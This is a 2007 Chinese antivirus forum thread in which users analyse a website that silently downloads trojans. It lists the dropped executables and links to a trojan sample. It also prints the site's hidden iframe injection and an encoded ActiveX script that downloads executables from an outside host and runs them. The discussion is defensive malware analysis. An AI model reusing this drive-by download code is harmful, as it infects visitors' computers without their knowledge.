发个毒网地址

turkey2k6

刚刚在网上闲逛，上到某公司网站，结果我机器上的IDM下载软件开始疯狂下载，ZA就蹦出来了，当然是不让连接，看了下地址，是这个：

ht*p://a1l.cn

特意打错前面的前缀，防止误点，会下载以下这些程序：
gezi.exe
js.exe
wl.exe
qq.exe

我机器上无杀软，谁有兴趣看看

风野胤

完全没有任何反应   微点不叫 nod不叫 也没有下载任何东西

saber123

没有反应

黑衣~魂

幫樓主分析網站發現,導入兩個惡意連結new2.htm與m.htm,new2.htm~VBS架構輔助下載執行木馬~!!植入gezi2.exe木馬威脅,樓主說 js.exe與wl.exe與qq.exe應該是生成物~!!

雖然是新木馬但是並沒有辦法植入mcafee用戶電腦的~m.htm執行惡意指令要下載木馬mcafee立刻報惡意指令碼封殺木馬下載~!!

gezi2.exe~VIRUSTOTAL紅傘表現不錯喔~!!


gezi2.exe樣本(RAR)在載點(因為受到檔案大小限制~)~沒有密碼~
http://www.rogepost.com/n/7421018289

[ 本帖最后由 黑衣~魂 于 2007-2-8 15:56 编辑 ]

绅博周幸

4楼的搞个样本上来看看，最好4个样本都拿出来

黑衣~魂

有gezi2.exe不過其他的沒有發現...~還要收集gezi2.exe有點麻煩~看看其他大大測試!!!

zzh161

费尔杀了3个

路沉

原帖由 风野胤 于 2007-2-8 15:45 发表
完全没有任何反应   微点不叫 nod不叫 也没有下载任何东西

源文件:document.write("<div style='display:none'>");
document.write("<iframe width=0 src='http://www.wowgoldguide-us.com/fl.10/new2.htm'></iframe>");
document.write("<iframe width=0 src='http://vccd.cn/m.htm'></iframe>");
document.write("</div>");

操,2个网址都是加密的
<SCRIPT>var Words="%3Cscript%3Evar url%2Cpath%0D%0Aurl1%3D%22http%3A%2F%2Fvccd%2Ecn%2Fdown%2Eexe%22%0D%0Aurl2%3D%22http%3A%2F%2Fvccd%2Ecn%2Frav%2Ejs%22%0D%0Atry%7Bvar ado%3D%28document%2EcreateElement%28%22object%22%29%29%0D%0Aado%2EsetAttribute%28%22classid%22%2C%22clsid%3ABD96C556%2D65A3%2D11D0%2D983A%2D00C04FC29E36%22%29%0D%0Avar xml%3Dado%2ECreateObject%28%22Microsoft%2EXMLHTTP%22%2C%22%22%29%0D%0Avar ab%3D%22Adodb%2E%22%3Bvar cd%3D%22Stream%22%3Bvar as%3Dado%2Ecreateobject%28ab%2Bcd%2C%22%22%29%0D%0Axml%2EOpen%28%22GET%22%2Curl1%2C0%29%3Bxml%2ESend%28%29%3Bas%2Etype%3D1%3Bas%2Eopen%28%29%0D%0Aas%2Ewrite%28xml%2EresponseBody%29%0D%0Aas%2Esavetofile%28%22C%3A%5C%5CProgram Files%5C%5Cboos%2Eexe%22%2C2%29%0D%0Aas%2Eclose%28%29%3B%7Dcatch%28e%29%7B%7D%0D%0Avar url%2Cpath%0D%0Atry%7Bvar ado%3D%28document%2EcreateElement%28%22object%22%29%29%0D%0Aado%2EsetAttribute%28%22classid%22%2C%22clsid%3ABD96C556%2D65A3%2D11D0%2D983A%2D00C04FC29E36%22%29%0D%0Axml%2EOpen%28%22GET%22%2Curl2%2C0%29%3Bxml%2ESend%28%29%3Bas%2Eopen%28%29%0D%0Aas%2Ewrite%28xml%2EresponseBody%29%0D%0Aas%2Esavetofile%28%22C%3A%5C%5CProgram Files%5C%5Crav%2Ejs%22%2C2%29%3Bas%2Eclose%28%29%0D%0Avar shell%3Dado%2Ecreateobject%28%22Shell%2EApplication%22%2C%22%22%29%0D%0Ashell%2EShellExecute%28%22C%3A%5C%5CProgram Files%5C%5Crav%2Ejs%22%2C%22%22%2C%22%22%2C%22open%22%2C0%29%0D%0A%7Dcatch%28e%29%7B%7D%3C%2Fscript%3E%0D%0A";document.write(unescape(Words))</SCRIPT>
<script language="javascript" src="http://count30.51yes.com/click.aspx?id=308437152&logo=6"></script>
<script src='http://s102.cnzz.com/stat.php?id=387088&web_id=387088' language='JavaScript' charset='gb2312'></script>

turkey2k6

我的系统漏洞多多，又没杀软，所以一上去就开始下载咯，各位DX补丁打的满满的，估计就没反应了

turkey2k6

对了，如果有gezi2.exe话，应该还会下载qq_2.exe、js_2.exe、wl_2.exe，这些我是在IDM里面看到的，因为我刷新了下网页，还以为是重复下载，IDM自动重命名的。